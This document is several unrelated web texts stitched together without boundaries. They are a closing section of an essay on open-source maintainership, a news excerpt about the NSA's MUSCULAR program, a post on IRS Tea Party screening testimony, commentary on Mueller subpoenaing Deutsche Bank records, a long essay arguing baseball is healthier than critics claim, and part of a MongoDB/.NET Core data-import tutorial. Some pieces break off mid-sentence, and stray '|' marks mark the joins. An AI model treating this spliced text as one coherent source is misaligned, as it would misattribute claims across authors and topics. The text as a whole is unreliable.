I think what’s needed in the end is some guidelines and discussions about what a maintainer is, and what a maintainer does. We have ready-made licenses to avoid havoc, there’s code of conducts to copypaste and implement, handbooks for building communities, and for all of these things, lots of conferences. Maintainer on the other hand you become by accident, as a default. And then everyone gets to learn how to do it on their own, while hopefully not burning too many bridges - at least I myself was rather lost on that journey at times. I’d like to conclude with a draft on a maintainer’s manifest.
It’s About the People
If you’re maintainer of a project or code area with a bunch of full time contributors (or even a lot of drive-by contributions) then primarily you deal with people. Insisting that you’re only a technical leader just means you don’t acknowledge what your true role really is.
And then, trust them to do a good job, and recognize them for the work they’re doing. The important part is to trust people just a bit more than what they’re ready for, as the occasional challenge, but not too much that they’re bound to fail. In short, give them the keys and hope they don’t wreck the car too badly, but in all cases have insurance ready. And insurance for software is dirt cheap, generally a git revert and the maintainer profusely apologizing to everyone and taking the blame is all it takes.
Recognize Your Power
You’re a maintainer, and you have essentially absolute power over what happens to your code. For successful projects that means you can unleash a lot of harm on people who for better or worse are employed to deal with you. One of the things that annoy me the most is when maintainers engage in petty status fights against subordinates, thinly veiled as technical discussions - you end up looking silly, and it just pisses everyone off. Instead recognize your powers, try to stay on the good side of the force and make sure you share it sufficiently with the contributors of your project.
Accept Your Limits
At the beginning you’re responsible for everything, and for a one-person project that’s all fine. But eventually the project grows too much and you’ll just become a dictator, and then failure is all but assured because we’re all human. Recognize what you don’t do well, build institutions to replace you. Recognize that the responsibility you initially took on might not be the same as that which you’ll end up with and either accept it, or move on. And do all that before you start burning out.
Be a Steward, Not a Lord
I think one of key advantages of open source is that people stick around for a very long time. Even when they switch jobs or move around. Maybe the usual “for life” qualifier isn’t really a great choice, since it sounds more like a mandatory sentence than something done by choice. What I object to is the “dictator” part, since if your goal is to grow a great community and maybe reach world domination, then you as the maintainer need to serve that community. And not that the community serves you.
Thanks a lot to Ben Widawsky, Daniel Stone, Eric Anholt, Jani Nikula, Karen Sandler, Kimmo Nikkanen and Laurent Pinchart for reading and commenting on drafts of this text.It's quite simple really, and as the WaPo explains, the NSA "has secretly broken into the main communications links that connect Yahoo and Google data centers around the world, according to documents obtained from former NSA contractor Edward Snowden and interviews with knowledgeable officials. By tapping those links, the agency has positioned itself to collect at will from among hundreds of millions of user accounts, many of them belonging to Americans. The NSA does not keep everything it collects, but it keeps a lot."
In a nutshell - 181,280,466 new records in 1 month:
According to a top secret accounting dated Jan. 9, 2013, NSA’s acquisitions directorate sends millions of records every day from Yahoo and Google internal networks to data warehouses at the agency’s Fort Meade headquarters. In the preceding 30 days, the report said, field collectors had processed and sent back 181,280,466 new records — ranging from “metadata,” which would indicate who sent or received e-mails and when, to content such as text, audio and video. The NSA’s principal tool to exploit the data links is a project called MUSCULAR, operated jointly with the agency’s British counterpart, GCHQ. From undisclosed interception points, the NSA and GCHQ are copying entire |
continued.
The manager further testified that the Tea Party groups were deliberately grouped together so that they would receive consistent treatment. “There was a lot of concerns about making sure that any cases that had, you know, similar-type activities or items included, that they would be worked by the same agent or same group,” the manager testified.
In the testimony, the screening manager also flatly stated he had no reason to believe there was White House involvement. On page 141 of the testimony, this exchange occurs:
QUESTION: Do you have any reason to believe that anyone in the White House was involved in the decision to screen Tea Party cases? ANSWER: I have no reason to believe that. QUESTION: Do you have any reason to believe that anyone in the White House was involved in the decision to centralize the review of Tea Party cases? ANSWER: I have no reason to believe that.
The screening manager also testifies that he never had any conversation with Lois Lerner, the former director of the Exempt Organizations Division, or former IRS commissioner Douglas Schulman, about the “screening of Tea Party cases.”
In the letter to Issa, Cummings says the full transcripts exonerate the White House. Cummings also allows that Washington officials played a role in the story, but only in the sense that they were informed about it:
This interview transcript provides a detailed first-hand account of how these practices first originated, and it debunks conspiracy theories about how the IRS first started reviewing these cases. Answering questions from Committee staff for more than five hours, this official — who identified himself as a “conservative Republican” — denied that he or anyone on his team was directed by the White House to take these actions or that they were politically motivated. Instead, the Screening Group Manager explained that the very first case at issue in this investigation was initially flagged by one of his own screeners in February 2010. […] To be clear, I am not suggesting that IRS employees in Washington, D.C. played no role in these activities. For example, the Inspector General has already reported that Lois Lerner, the Director of Exempt Organizations at the IRS, became aware of the use of inappropriate criteria in 2011. The Inspector General also identified a document called a “Be on The Lookout,” or BOLO, that directed IRS employees in Cincinnati to send these applications to a specific group within the Cincinnati office that was coordinating with IRS employees in the Exempt Organizations Technical Unit in Washington, D.C. According to the Inspector General, after Ms. Lerner learned of the terms used by the screeners, she immediately ordered a halt to the use of these terms, resulting in a change to the BOLO in July 2011 to apply to all organizations “involved with political, lobbying, or advocacy for exemption under 501(c)(3) or 501(c)(4).” These facts are a far cry from accusations of a conspiracy orchestrated by the White House to target the President’s political enemies. At this point in the investigation, not one witness who has appeared before the Committee has identified any involvement by any White House officials in the identification or screening of Tea Party applicants for tax exempt status, and the Committee has obtained no documents indicating any such involvement.
To be clear, I only just received these documents, so I’m not prepared to reach any definitive conclusions about their full meaning, and wanted to get them out there for readers to judge. Have at it.Yesterday there was an emerging theme among right-leaning commentators that the upshot of the Flynn plea deal, damning as it may seem, is that Robert Mueller has given up on finding an election tampering conspiracy and is focusing squarely on an obstruction of justice charge against the President. In most cases, this is presented as an indictment of the investigation itself. In other words, on the big question of the Trump campaign conspiring with Russia, there was nothing there and Mueller is falling back on charges internal to the investigation itself, i.e., ways the President allegedly attempted to obstruct it. We’ll return to this line of argument because it’s an important one.
I corresponded with a few of my trusted former public corruption prosecutors about this yesterday. Most agreed to the extent that Mueller’s primary focus now does seem to be on obstruction of justice. They saw no reason for Trump supporters confidence, however, that Mueller has somehow decided collusion hadn’t happened or couldn’t be proven.
This morning we have clear evidence Mueller is very much still investigating that question. Several weeks ago, according to Bloomberg News, Mueller subpoenaed President Trump’s banking records from Deutsche Bank. (There were reports in late July that Mueller had opened informal contacts with the bank.)
This is a critical development.
As we’ve discussed before, actually going back 18 months, all major banks have for years refused to do business with Donald Trump. The exception is Deutsche Bank, which is of course not a US bank but does substantial business in the US and is on the scale of other big banks that have refused to do business with the now President.
Why Deutsche Bank still works with Trump (they financed most of the DC Trump hotel project, for instance) is a basic question running through the Russia story. I’ve had a couple theories. One is simply this: that years ago Trump realized that he couldn’t be shut out by every major bank. He needed at least one major lender who would still do business with him and thus made sure not to cheat or gouge them as actively as he did the others. (This wasn’t terribly credible since he got in a legal tangle with DB a few years ago demanding that he be released from his debt to the bank and be reimbursed because of the banks role in the 2008 financial crisis. Yes, he sued saying he should be released from repaying a loan.) The other possibility is that there was some extra-economic factor that kept them lending.
Along those lines many have pointed out that lots of Russian money goes through Deutsche Bank and indeed the bank has been repeatedly fined for Russian money laundering. The Deutsche Bank subpoena is certainly about probing the President’s financial ties to Russia, which are as we know extensive.
Let’s note too what we’ve argued repeatedly which is that Donald Trump’s finances, quite apart from the specific matter of campaign collusion, simply can’t withstand any real legal scrutiny. This is the kind of move Trump has suggested might provoke him to fire Mueller.Baseball is no longer The National Pastime. Of this, there can be no doubt. Indeed, one of the sport’s greatest authorities noted it in pretty stark terms:
“Professional baseball is on the wane. Salaries must come down, or the interest of the public must be increased in some way. If one or the other does not happen, bankruptcy stares every team in the face.”
If it’s not the lack of public interest, it’s the money that that will do the game in. A Hall of Famer who has been noted as particularly financially-savvy made this perfectly clear when he said
“Baseball today is not what it used to be. The great trouble with baseball today is that most of the players are in the game for the money and that’s it, not for the love of it, the excitement of it, the thrill of it.”
And of course, one can’t ignore the fact that other sports have grown tremendously over the years, making baseball just one of many options for fans looking to spend their time and money. A respected journalist identified this trend when he wrote that baseball...
“...has begun to topple from its ancient pedestal, as the one-time fervid fans turn to new sports.”
Baseball has an age problem too. As in, the kids don’t play it as much as they used to and the talent pool has become far too shallow. A former big league pitcher noted this trend, saying that while the best players are as good today as they used to be...
“...there aren’t enough of ‘em... boys don’t take the game as seriously as we used to. I remember when we ate, slept and lived baseball.”
Such big problems identified by such knowledgable authorities has to worry the men and women who work for Major League Baseball and upon whose efforts the very future of the game depends.
Or, at least they would if those quotes hadn’t come from Albert Spalding in 1881, Hall of Famer Ty Cobb in 1925, journalist Jack Kofoed in 1929 and former major leaguer Hooks Wiltse in 1937, respectively.
The first professional baseball team began play in the spring of 1869. People began lamenting its demise approximately fifteen minutes later. And they haven’t stopped, not even for a moment, since then.
Baseball’s obituary-writing usually starts in the fall, when football begins to crowd baseball off the front of the sports pages. We’ve already seen a couple of examples of these, and we will see more as September wears on and the zeitgeist favors football over the sport which is still, mostly for historical reasons, referred to as the National Pastime. It will certainly come no later than October, when the playoffs begin and baseball’s national TV ratings fall short of meaningless regular season NFL games between non-contenders. We see these obituaries every year. Often several times a year. Columns written in major newspapers and soliloquies offered by TV or talk radio hosts about how baseball is no longer vital, popular or important. Arguments — some of them quite dumb — about how baseball is boring and anachronistic and broken and corrupt and unfair.
These obituaries will cite any number of causes of baseball’s death. A terminal case of high salaries brought on by an aggressive and invasive strain of player greed. A lingering demise brought on by the continued existence of its slow, 19th century pace in today’s kinetic 21st century world. A death by negligence, occasioned by the lack of interest in baseball by our nation’s youth and by our nation’s minorities who, in football and basketball at least, make up the bulk of the participants. Death by misadventure, as today’s players — with their bat flips, slow home run trots and air-mailed throws past the cutoff man — lack the fundamentals, mettle and respect for the game possessed by their predecessors. Most often, however, the obituary describes a sudden, violent death at the hands of a much stronger and vital adversary in the form of the National Football League and its enormous television ratings and cultural cachet.
Baseball fans might be sad when they read their favorite sport’s obituary, but to be honest, we should’ve known it was dying. We’ve had so many warnings. Like the ones from Albert Spalding, Ty Cobb and Hooks Wiltse going back 120 years or more.
Or maybe — just maybe — baseball isn’t dying.
Maybe baseball’s economic model makes ballpark attendance, local broadcast ratings and local broadcast revenues far more important than national television ratings. And maybe those national TV ratings aren’t actually as bad as everyone says.
Maybe team revenues and franchise values have escalated so dramatically over the past two decades that player salaries represent a smaller portion of a team’s revenue than they used to.
Maybe, salaries notwithstanding, more teams are turning in winning seasons, making the playoffs and winning championships in baseball than they do in the other major sports and far more than they did during baseball’s so-called “Golden Age.”
Maybe, while fewer kids and especially fewer U.S.-born blacks play baseball today than they used to, the game is nonetheless more racially and ethnically-diverse than it ever has been.
Maybe those brash, showboating kids who allegedly don’t respect the game actually represent a solution to one of baseball’s actual problems: attracting younger fans to a game that is perpetually fighting the perception that it is staid, boring and uncool.
Or maybe there’s no maybe about it. It’s clear that baseball is no longer be The National Pastime. But it’s a healthier sport today than it ever has been. It’s better off financially, better off competitively and better off culturally. And, the naysaying of baseball’s obituary writers notwithstanding, there has never been a better time to be as baseball fan.
It Doesn’t Matter That Baseball’s National Television Ratings Kinda Stink
On October 18, 2010, the Yankees played the Rangers in Game Three of the American League Championship Series. The Series was tied 1-1, and the teams represented baseball’s largest and fifth-largest television markets. On that same night, The Jacksonville Jaguars and Tennessee Titans played each other on Monday Night Football. Both teams were pretty awful that year, with the Jags finishing 8-8 and the Titans finishing 6-10. Both teams play in two of the NFL’s smallest markets. In the television ratings, the matchup between the lowly Titans and mediocre Jags topped the matchup between two of baseball’s best and most popular teams fighting for the pennant. Topped it by quite a margin, actually.
Though this is not a terribly uncommon occurrence, much was made of it at the time. Much is made of it each year when a regular season NFL game beats a baseball playoff game in the ratings.
The numbers are what they are, of course. But comparisons to the NFL tell us very little about baseball’s health. Nothing does as well as football does in the ratings. Not the most popular entertainment shows. Not news shows. Not even Presidential debates. Indeed, to compare anything to football’s ratings is to illuminate nothing due to football’s status and primacy in the national consciousness, which is beyond dispute.
Baseball does quite well, however, when one considers the overall television ratings trends. Unfortunately, hardly anyone ever considers those trends when piling on baseball’s allegedly low TV ratings. Indeed, baseball is almost exclusively compared with the anomalous NFL — or, more often, its own history — as opposed to current television programming and the inexorable fragmentation of the TV viewing audience.
Watch this segment from Keith Olbermann’s ESPN show last October and tell me if the deck isn’t stacked against baseball when television ratings are concerned:
Olbermann argues that baseball has become culturally irrelevant by comparing the 2013 World Series‘ ratings to that of the Orioles-Pirates matchup in 1971. He’s not alone in doing this. Watchdog sites such as Sports Media Watch characterize the numbers in terms such as “Game 2 was baseball’s third-lowest-rated World Series game of all time,” which is a comparison dating back to the first World Series broadcast in 1947.
What if CBS and the producers of “The Big Bang Theory” got this treatment? “The Big Bang Theory” was the highest-rated entertainment show during the 2013-14 season (second overall behind NBC’s juggernaut, “Sunday Night Football”). It averaged a Nielsen rating of between 10 and 11 and a share of around 18. In 1971-72, the highest rated primetime show was “All In The Family.” It averaged a rating of 34.4 and had a share of 54. If “The Big Bang Theory” were on in 1971 and got the same ratings, it wouldn’t have cracked the top 20.
Where are the “The Big Bang Theory” is dying stories? Nowhere, obviously, and not just because “The Big Bang Theory” wasn’t on in 1971. They don’t exist because such comparisons make no sense. The primary purpose of TV ratings is to determine advertising rates and to guide the business decisions of networks. For this purpose historical comparisons are pointless. It’s also pointless because, in the 1970s, there were only three television networks. Cable had barely made any inroads. The ability to stream all manner of entertainment on the Internet didn’t exist. Viewers today have hundreds of competing entertainment options and, as such, success is measured differently than it was measured 30 or 40 years ago.
Baseball, however, is presumed to be competing against old ghosts like the 1971 World Series. And it never gets the benefit of television viewer fragmentation and the seismic shift in America’s entertainment consumption habits when its ratings health is assessed.
When judged on its own, current terms, however, baseball is doing quite well, thank you:
In 2012, a World Series which many cite as a low water mark due to a short, uneventful series between the less-than-marquee-worthy Tigers and Giants, Fall Classic ratings beat every entertainment show on the fall primetime schedule in multiple key age groups: Men 18-34, Men 18-49, Adults 18-34, and Adults 18-49.
Game Two of the 2013 World Series — the Saturday night contest between the Red Sox and Cardinals which Sports Media Watch referred to as the “third lowest World Series game ever” – Fox averaged a 7.4 rating, which was up 21 percent over the Saturday night World Series game from the year before. It drew a 37.2 rating in St. Louis. It drew a 32.4 rating in Boston.
Those aren’t NFL-level numbers obviously — pro football has proved to be an exception to the overall rule about audiences getting smaller — but baseball is not getting beat by much else. Indeed, in terms of total viewers, The World Series typically delivers to Fox the same number of eyeballs an entire season of a top 10 entertainment program delivers. And it does so over the course of one week.
But those national ratings represent one of the least relevant metrics of baseball’s overall health and vitality. Why? Because...
Baseball Is A Local Game And Baseball Is Booming On The Local Level.
Walk into a sports bar in New York on a Sunday afternoon in November and you’re likely to see a half dozen TVs tuned to a half dozen different NFL games. Sure, if the Giants are playing most people are watching them, but say the Giants are playing the Sunday night game.
Are the TVs turned off? Of course not. Everyone is watching football, no matter where the games are being played. The same goes for a sports bar in Chicago or Baltimore or Omaha or Columbus, Ohio. Football is on because, well, that’s what everyone watches on Sunday afternoon. Everyone’s off work, they can eat wings and drink beer with impunity and they’ve devoted their day to football. It’s an event that comes once a week. Twice if you count Monday night.
Now, walk into a sports bar in New York on a Tuesday evening in July. Are there a half dozen TVs watching a half dozen east coast baseball games? Of course not. Everyone is watching the Yankees. If the Yankees are playing the late game out west you’d be lucky to see two TVs with any other baseball on before 10pm. Not that many people will be there for the 10pm west coast game, anyway. They have to work tomorrow morning. And they’d better take it easy on the wings seeing as though they just had dinner. Don’t even try to find a bar filled with baseball watchers in non-baseball cities like Columbus and Omaha. Believe me, I’ve tried.
Baseball’s Tuesday night watchers are not planting themselves in a sports bar and making a party out of it. They’re watching at home. After dinner but before a reasonable bed time. How can it be a party anyway? There are five or six of these games on a week and people have to pace themselves. They’re doing a pretty good job of pacing themselves too. A healthy number of dedicated viewers in local markets are watching their local nine night in, night out. And because of them, their local nine is making money hand over fist.
In 2013, Major League Baseball took in somewhere between $8-8.5 billion in revenue. Of that total, approximately $711.7 million — less than 10% — came from national television deals inked with Fox, TBS and ESPN. In contrast, the NFL’s revenue stands at someplace just north of $9 billion. It’s national television revenue from Fox, CBS, NBC and ESPN is $3.085 billion, or around a third. Clearly, national television, however much it is discussed by baseball’s obituarists, is significantly less important to baseball than it is to football, rendering the citation of national TV ratings for baseball only part of the story. What baseball has that football doesn’t are local broadcasts. Lots and lots of local broadcasts. Lots and lots of highly-rated local broadcasts. Lots and lots of insanely lucrative local broadcasts.
In 2010, the Texas Rangers signed a deal with Fox Sports Southwest which pays the team $85 million per year for 20 years and grants them a 10% equity stake in the network. Earlier this year the Philadelphia Phillies signed a 25-year, $5 billion deal with Comcast SportsNet. And, in the largest and perhaps most-publicized local television deal in baseball history, the Dodgers and Time Warner entered into a 25-year, $8.35 billion deal. While that Dodgers deal is unlikely to be matched by most teams — and while it’s quite possible that the Dodgers’ deal is evidence of a local rights fees bubble — it is a windfall that is attributable to the same dynamic enriching nearly every other team: the dramatic increase in value cable companies and local broadcasters are placing on live sporting events. Like baseball. People like watching local baseball games and are doing so in remarkable numbers.
According to Nielsen, between Opening Day 2014 and the week of July 24, the games of 12 of the 30 major league teams ranked as the top programming in primetime across all of television, including network broadcast television, in those 12 markets. The games of seven other major league teams placed either second or third in their markets. In 2013, the top end of local baseball ratings look an awful lot like the numbers for “The Big Bang Theory,” actually. The Detroit Tigers averaged a 9.6 ratings last year. The St. Louis Cardinals averaged 8.7. The Pittsburgh Pirates, long a doormat but in 2013 a surprise contender, averaged 8.1. The Cincinnati Reds averaged 7.4, The eventual World Series champion Boston Red Sox: 7.2. Overall, the average local rating for 2013 games for all teams is ahead of where they were five years ago. And, it should be noted, all of these numbers have come at a time when more teams are broadcasting their games on cable and are increasingly abandoning over-the-air broadcasts. In theory, fewer people should have access to their team’s games, yet more people are watching them now than they did in the past.
No, these aren’t football numbers. They’re not eye-popping. But they are evidence of sustained strength and growth in local markets. And it’s truly a volume business. Each baseball team plays a 162 games a season, generating around 500 hours of television programming with ratings which are improving year-by-year. The World Series ratings seem somewhat disappointing come October, but far more eyes have watched far more baseball than most people — especially most predictors of baseball’s demise — allow themselves to imagine between April and September.
When all of this is taken into account it is inescapable that, while baseball’s television edifice isn’t built nearly as high as that of football’s, its foundation is much, much wider.
“Greedy Players” Are Not Making Too Much Money
Each November or December, at least one nine-figure contract is handed out to a baseball free agent. Sometimes several of them. This year one will undoubtedly go to starting pitcher Max Scherzer. Last year the big deal went to Mariners second baseman Robinson Cano. The common fan’s response — and, quite often, the common sports writer’s response — to any large free agent signing usually includes complaints that baseball players make too much money. That they play a kids’ game that many of us would play for free. That, if Willie Mays never made as much as $200,000 in a season, how in the heck do modern baseball players get off making $200 million?
This is an understandable impulse. At the end of last season, the average major leaguer’s salary stood just north of $3.39 million. The average American’s salary? Around $42,000. And the gap between those numbers has increased dramatically over the years, with baseball players’ average salary standing about 20 times more than it did in the early 1970s. Meanwhile, the average American’s salary is basically flat once you adjust for inflation.
But while it is absolutely true that baseball players are making a tremendous amount of money while firefighters and teachers are making a pittance, the idea that inequality in salaries between ballplayers and average Americans means that something is fundamentally wrong with baseball is a load of hooey.
High salaries aren’t, in and of themselves, problems. They’re problems when people are making insane amounts of money that is in no way connected to the products or value they create. When they find themselves in that position, not because of their hard work or effort, but because they were simply granted that benefit by privilege or favor not available to everyone else. This is decidedly not the case for baseball players who, unlike a great many overpaid corporate executives, compete in what is about as close to a genuine meritocracy there is. One in which one’s worth is tied directly to how hard one can hit or throw a baseball.
Baseball players make a highly specialized and extremely valuable contribution to a nearly $9 billion industry. People around the world spend that $9 billion for no other reason than some 750 players entertain us by doing what hardly anyone else on the planet can do. Baseball players are creating value in terms of butts in seats, hot dogs and beer consumed and team merchandise sold. So why shouldn’t they be paid for it?
If anything, they she be paid more for it. Sure, salaries are rising, but they aren’t keeping up with rising baseball revenues. As Matt Swartz of The Hardball Times noted in March, since 2002, the average major league baseball team payroll has gone up by 58 percent. Meanwhile, baseball revenue has gone up by 122 percent. Over that same period of time, total baseball player salaries as a share of revenue have declined from 56 percent to 40 percent. Baseball players are routinely singled out even among other professional athletes for their allegedly unreasonable salaries, but baseball has the lowest percentage of total revenue going to player salaries than the other three major North American sports, all of which pay players around 50 percent of revenues.
When we observe this trend in society at large we wring our hands about wealth being concentrated in the hands of the few at the expense of the workers. When it occurs in a situation where those wealthy few are owners of major league baseball teams and the workers are baseball players, we somehow conclude that the workers are the ones being unjustly enriched. This despite the fact that any one baseball player contributes far more to his industry’s bottom line than any one factory worker does to his industry’s bottom line or any one teacher does to society at large. We may not like that very much — it may make us feel bad that teachers aren’t paid like elite center fielders — but we are collectively responsible for our choices as to how we spend our money and what sorts of behaviors we reward. We’ve decided, as a society, that the center fielder is worth more.
Rich teams are not making it impossible for poor teams to compete.
On the eve of Super Bowl XLV in January 2011, HBO’s Bill Maher offered his thoughts on competitive balance in football compared to that of baseball in the form of both a TV rant (flanked by noted sports experts Michael Steele and D. L. Hughley) and a column at the Huffington Post. There, Maher made a political analogy:
With the Super Bowl only a week away, Americans must realize what makes NFL football so great: socialism. That’s right, for all the F-15 flyovers and flag waving, football is our most successful sport because the NFL takes money from the rich teams and gives it to the poor teams … football is built on an economic model of fairness and opportunity, and baseball is built on a model where the rich almost always win and the poor usually have no chance...... The small market Pittsburgh Steelers go to the Super Bowl more than anybody – but the Pittsburgh Pirates? Levi Johnston has sperm that will not grow up and live long enough to see the Pirates in a World Series. Their payroll is about $40 million, and the Yankees is $206 million. They have about as much chance at getting in the playoffs as a poor black teenager from Newark has of becoming the CEO of Halliburton. That’s why people stop going to Pirate games in May, because if you’re not in the game, you become indifferent to the fate of the game, and maybe even get bitter...
It’s a wonderful quote. And some of the jokes he offered in support of his belief that baseball’s economic model is broken are almost funny enough to make us forget that Maher purchased an ownership stake in the New York Mets a year after saying these words. Indeed, there’s almost enough wit here to let us ignore the fact that the Pirates made the playoffs last year, are in the thick of the race this year and that the Yankees are on the verge of spending their second straight October watching playoff games on TV.
Not that Maher is alone in his belief that rich teams in big cities have made it impossible for the poorer teams in smaller cities to compete. Indeed, it’s a belief that is widespread. Books have been written about it. Scores of commentators have promoted the idea that a class system has been created in baseball consisting of those teams which can compete for the top talent and those who cannot. Which, they argue, creates teams who can always count on being competitive and those who are, for all intents and purposes, eliminated from contention before a pitch is even thrown on Opening Day. This mindset is practically a religion unto itself.
And, yes, there are certainly great disparities between the highest and the lowest revenue teams. But lost in all of this is the fact that baseball engages in plenty of socialism, to use Maher’s term. The league redistributes millions of dollars each year from big-market teams to the lesser ones through its revenue-sharing plan. A large portion of MLB’s central fund, which comes from national broadcasts and national marketing initiatives, is likewise set aside and allocated to teams based on their revenues, with the lower revenue teams benefitting the most. Baseball’s Competitive Balance Tax, more commonly known as the “Luxury Tax,” punishes teams for having high payrolls, taxing them at a rate between 17.5% and 50% for exceeding a payroll of $189 million. By 2016, there will be even more giving from the rich to the poor, as the fifteen teams in the largest markets in baseball will be disqualified from receiving any revenue sharing at all.
While revenue sharing and the Competitive Balance tax have not transformed Major League Baseball into the socialist paradise baseball’s critics apparently wish it to be, the stuff that actually matters — results on the field — have been just as equitable in baseball as they have been in the National Football League.
As Allen Barra pointed out in his article at The Atlantic last April, 27 different teams have played in the 48 Super Bowls, with 18 of them winning it. The last 48 World Series have featured 27 different teams playing and have had 20 different champions. And the trend has not skewed in the NFL’s favor since the Yankees broke the $100 million payroll barrier for the first time in 2001, ushering in an era in which people blithely claim that a team with sufficient means can simply buy a championship.
Between 2001 and 2013, 15 NFL teams played in the Super Bowl, with eight teams winning it. During that same period, 14 different baseball teams have played in the World Series with nine different teams winning. Once you factor in that the NFL has two more teams than baseball and allows a higher percentage of its teams into the playoffs than baseball does, it’s impossible to argue that baseball’s competitive balance, which most people assume to be atrocious, pales compared to that of the fair and just NFL.
Money’s inability to buy championships is clearly on display in the 2014 baseball season. Just two weeks ago Brian MacPherson of the Providence Journal noted that the correlation between money and winning is nothing like it used to be. He found that, ten years ago, a team’s payroll accounted for around 25 percent of its success. Today team payroll accounts for barely more than four percent of a team’s success. Indeed, MacPherson found that the correlation coefficient between payroll and wins this season is even smaller than the correlation between the standings and the first letters of the cities in which teams play. “In other words,” he noted, “you’d have a slightly better chance of predicting playoff participants simply by using alphabetical order than by using payroll numbers.”
There are a lot of reasons for this. Smarter front offices have taken to locking young players up to long term deals while they’re still under team control, thereby neutralizing the rich teams’ financial advantage in free agency. There is more overall money available to smaller revenue teams due to those large TV deals we discussed previously. There have been numerous changes to the rules surrounding the amateur draft and the international free-agent signing period, capping the amount of money teams can spend. The reduction of performance-enhancing drugs in the game means that fewer older players (i.e. the players who can be acquired via free agency) are making impacts like they did back when they had an artificial fountain of youth at their disposal.
Of course it never hurts to be rich. Having money can help patch over a lot of mistakes. But being rich will not help you scout and draft well and being rich is no longer a prerequisite to retaining the good players you develop. To do that you don’t need Steinbrenner dollars. You just need a brain. And almost every team has a brain running its front office these days. If anything, the playing field is more level now than it ever has been. Maybe someday baseball’s doomsayers will take note of this.
Baseball Is Not Lacking In Diversity, And To The Extent Kids Don’t Play Baseball, It’s Not Because It’s “Uncool.”
On April 27 of this year, in a game against the Boston Red Sox, the Toronto Blue Jays lineup featured six players from the Dominican Republic: shortstop Jose Reyes, outfielders Melky Cabrera and Jose Bautista, first baseman Edwin Encarnacion, designated hitter Juan Francisco and right fielder Moises Sierra. That set a major league record. It may have been a bit of a fluke and something of a coincidence — Sierra only played 13 games for the Jays before being waived — but it wasn’t intended as a gimmick. It was simply a reflection of the composition of the Blue Jays’ roster at the time. Reyes, Cabrera, Bautista and Encarnacion, for what it’s worth, usually occupy the top four spots in the Blue Jays lineup.
The Jays’ Dominican-heavy lineup was noted by the baseball press for a day or two, but it didn’t make big news. It didn’t because large numbers of Latinos playing major league baseball isn’t news. Their numbers have been growing for decades. Thanks to expanded scouting efforts and the establishment of baseball academies in Latin America, the increasing number of Japanese and Korean players coming to play in the United States and the promotional efforts of Major League Baseball through the World Baseball Classic and other initiatives, the game has gone international in a major way.
But you wouldn’t know it if you listened only to the game’s detractors. Rather, you’d assume that baseball is exclusively the province of white, American players, with racial minorities increasingly squeezed out. This criticism, while containing a core of truth, misses the larger picture of baseball’s demographics and generally misplaces the blame for baseball’s alleged lack of diversity.
That core of truth: it is an indisputable fact that fewer U.S.-born blacks play the game than did in the past. And, to be sure, it is a regrettable fact. Following Jackie Robinson integrating baseball in 1947, black players became an increasingly important part of the major league landscape, with some if not most of baseball’s greatest stars from the 1950s into the 1980s being black. That’s not the case these days. Or at least not nearly the case it was as recently as 20 or 30 years ago. Each spring this topic is raised anew when The Institute for Diversity and Ethics in Sports (TIDES) releases its annual report on the racial and ethnic makeup of professional sports and shows us how baseball breaks down demographically.
But no matter how regrettable a fact this is, those who use this fact as a vehicle to criticize Major League Baseball — including the many, many columnists and commentators who spend the week or two following the TIDES report writing think-pieces in the media characterizing this trend as some horrible indictment of the sport — are almost always off base in their attacks. There may be fewer U.S.-born blacks playing major league baseball these days, but baseball is a strikingly diverse sport. More diverse than it has ever been, in fact.
Major League Baseball’s racial diversity roughly mirrors that of the U.S. population. In 2012, when the most recent comparable data is available, whites comprised about the same share of the general population — 63 percent — as they did in Major League Baseball. Latinos are overrepresented in baseball, comprising over 28% of major league ballplayers, while they comprise around 17 percent of the U.S. population. Blacks and Asians are underrepresented, comprising around 13 percent and five percent of the general population, respectively, but only eight percent and two percent of major leaguers. In the early 1980s, when U.S.-born black representation in the majors was at its height, just under 19 percent of ballplayers were black.
Yes, fewer U.S.-born blacks are playing major league baseball. And yes, the sport could be more diverse than it is. But compare this to the NFL (66.3 percent black, 30.1 percent white, 0.7 percent, Latino 1.1 percent); the NBA (76.3 percent black, 19 percent white, 4.4 percent Latino, less than one percent Asian) and the NHL (not even measured by TIDES, but estimated to be between 93-95 percent white) and ask yourself which sport is more diverse. Or, maybe the better question to ask is what diversity truly means. There is probably no one right answer to either of those questions, but nor is it at all reasonable to say that baseball is truly and singularly wrong in this regard or that it’s any kind of extreme outlier.
Nor is it all reasonable to say that baseball’s alleged lack of diversity is of its own doing. Which baseball’s critics often say, actually, claiming that baseball is too conservative, too boring, too slow and generally too uncool to appeal to today’s youth. Particularly black youth. It is argued that young black kids who do not have black role models in baseball and are increasingly choosing to play other sports such as football and basketball. It’s an explanation that feels satisfying because it conforms with a lot of stereotypes — stereotypes about the sports themselves, the people who run them, the fans who root for them and the kids we see playing them — but it’s lacking in one crucial area: data.
On a very basic level, this analysis is akin to the off-base criticism of baseball’s television ratings in that it fails to account for the fact that baseball is no longer alone at the |
). To be easier to import it, I have slightly transformed it (changed to tab delimited file, and applied a minimum data cleaning). The file is available in Github (link).
The second dataset GeoNames is available in the same Github folder (link).
Running the script import.bat (found in the same folder as the datsets), will do the import of the data, creating also the a new database, called TravelDb and the associated indexes. Script is included here, but it would be better just to run the script file:
mongoimport --db TravelDb ^ --collection WikiVoyage ^ --type tsv ^ --fieldFile enwikivoyage-fields.txt^ --file enwikivoyage-20150901-listings.result.tsv^ --columnsHaveTypes^ --username admin ^ --password abc123! ^ --authenticationDatabase admin ^ --numInsertionWorkers 4 mongoimport --db TravelDb ^ --collection Cities ^ --type tsv ^ --fieldFile cities5000-fields.txt^ --file cities5000.txt ^ --columnsHaveTypes^ --username admin ^ --password abc123! ^ --authenticationDatabase admin ^ --numInsertionWorkers 4
Fields files specifie the field names as well as their associated types. Using the option columnsHaveTypes we make the import with the types we need (e.g. int, double, string etc.).
The result should look like this:
MongoDB – LINQ support
The.NET Core solution included here follows the same structure as in my earlier article – Using MongoDB.NET Driver with.NET Core WebAPI. There, I have already presented a step by step guide on how to create an WebApi solution from scratch, connecting to MongoDB and implementing all the basic actions of a REST API.
In comparison, here, the web controller will implement just one action (GET) – focusing mainly just on running different queries:
[NoCache] [HttpGet] public Task > Get() { return GetTravelItemsInternal(); } private async Task > GetTravelItemsInternal() { return await _travelItemRepository.GetTravelItems(); }
In background, the query runs using LINQ syntax, and it returns first 500 records.
public async Task > GetTravelItems() { try { return await _context.TravelItems.Take(500).ToListAsync(); } catch (Exception ex) { // log or manage the exception throw ex; } }
The query is rendered on the server, and we receive just the limited set of data. This is possible since we have IQueryable type interface, provided natively by MongoDB C# Driver.
